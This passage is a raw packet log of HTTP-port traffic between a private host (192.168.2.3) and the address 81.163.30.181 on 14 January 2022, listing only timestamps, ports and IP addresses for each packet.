Jan 14, 2022 20:23:51.193907976 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.193933964 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.193958044 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.193969011 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.193985939 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.194000959 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.194014072 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.194041014 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.194066048 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.194076061 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.194091082 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.194107056 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.194118023 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.194143057 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.194165945 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.194176912 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.194190025 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.194206953 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.194215059 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.194238901 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.194252968 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.194277048 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.194300890 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.194314957 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.194325924 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.194350004 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.194360971 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.194374084 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.194396973 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.194421053 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.194443941 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.194449902 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.194478035 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.202146053 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.251931906 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.251960039 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.251979113 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.251996994 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.252015114 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.252032995 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.252029896 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.252049923 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.252069950 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.252073050 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.252088070 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.252094984 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.252105951 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.252124071 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.252141953 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.252150059 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.252161026 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.252178907 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.252183914 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.252197981 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.252207041 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.252219915 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.252238035 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.252238035 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.252258062 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.252274990 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.252279997 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.252295017 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.252314091 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.252332926 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.252332926 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.252351999 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.252363920 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.252372980 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.252392054 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.252393007 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.252409935 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.252424002 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.252429008 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.252449036 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.252468109 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.252469063 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.252486944 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.252504110 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.252506018 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.252521992 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.252541065 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.252543926 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.252557993 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.252576113 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.252579927 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.252594948 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.252626896 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.255573988 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.255598068 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.255616903 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.255635977 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.255654097 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.255660057 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.255672932 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.255692005 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.255705118 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.255711079 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.255729914 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.255731106 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.255748987 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.255765915 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.255774975 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.255784988 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.255803108 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.255806923 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.255820990 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.255840063 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.255840063 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.255857944 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.255876064 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.255892992 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.255893946 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.255911112 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.255928040 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.255928993 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.255949020 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.255949020 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.255968094 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.255980968 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.255986929 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.256005049 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.256022930 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.256031036 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.256042957 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.256059885 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.256061077 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.256081104 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.256098032 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.256115913 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.256117105 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.256134033 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.256144047 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.256154060 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.256171942 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.256174088 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.256190062 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.256202936 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.256210089 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.256228924 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.256246090 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.256247044 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.256263971 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.256283045 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.256300926 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.256302118 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.256320953 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.256330013 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.256337881 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.256356001 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.256356955 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.256376028 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.256392002 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.256408930 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.256411076 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.256438971 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.271754980 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.310264111 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.310295105 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.310319901 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.310336113 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.310343027 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.310367107 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.310374975 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.310391903 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.310415030 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.310420036 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.310436964 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.310458899 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.310460091 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.310482979 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.310498953 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.310507059 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.310530901 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.310554028 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.310575008 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.310578108 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.310604095 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.310605049 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.310626030 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.310642958 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.310650110 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.310674906 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.310698032 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.310714960 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.310722113 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.310745955 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.310745955 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.310775995 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.310786963 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.310802937 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.310828924 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.310856104 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.310866117 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.310883045 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.310892105 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.310909033 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.310935974 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.310969114 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.310992956 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.310993910 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.311019897 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.311022043 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.311048985 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.311060905 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.311084032 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.311108112 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.311130047 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.311147928 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.311156034 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.311177015 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.313757896 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.313790083 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.313812017 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.313832045 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.313875914 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.313994884 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.314090014 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.314117908 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.314152002 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.314208984 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.314232111 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.314254999 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.314323902 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.314445972 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.314491034 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.314492941 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.314539909 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.314549923 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.314590931 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.314614058 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.314647913 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.314660072 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.314692974 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.314709902 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.314764023 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.314815998 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.314852953 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.314865112 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.314876080 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.314898968 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.314898014 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.314922094 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.314945936 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.314944983 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.314969063 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.314992905 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.315015078 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.315013885 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.315037966 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.315049887 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.315062046 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.315084934 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.315084934 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.315108061 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.315130949 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.315143108 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.315152884 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.315176964 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.315180063 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.315206051 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.315228939 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.315251112 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.315253019 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.315274954 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.315285921 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.315296888 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.315319061 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.315320015 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.315342903 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.315366983 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.315376997 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.315390110 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.315412045 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.315434933 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.315438986 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.315458059 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.315469027 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.315479994 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.315505028 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.320066929 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.329361916 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.329437971 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.335021019 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.368189096 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.368228912 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.368263960 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.368295908 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.368315935 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.368330002 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.368359089 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.368367910 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.368402004 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.368432999 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.368451118 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.368469000 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.368486881 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.368503094 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.368536949 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.368568897 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.368582964 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.368618011 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.368638039 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.368671894 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.368706942 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.368740082 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.368761063 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.368772984 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.368788958 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.368805885 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.368839025 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.368871927 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.368885994 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.368905067 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.368937969 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.368916988 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.369005919 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.369040012 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.369051933 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.369082928 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.369139910 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.369355917 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.369520903 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.369576931 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.369689941 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.369740963 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.369918108 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.370064974 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.370131016 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.370165110 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.370197058 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.370198011 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.370215893 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.370233059 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.370265007 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.370297909 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.370312929 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.370340109 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.372288942 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.372332096 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.372406960 CET	49866	80	192.168.2.3	81.163.30.181
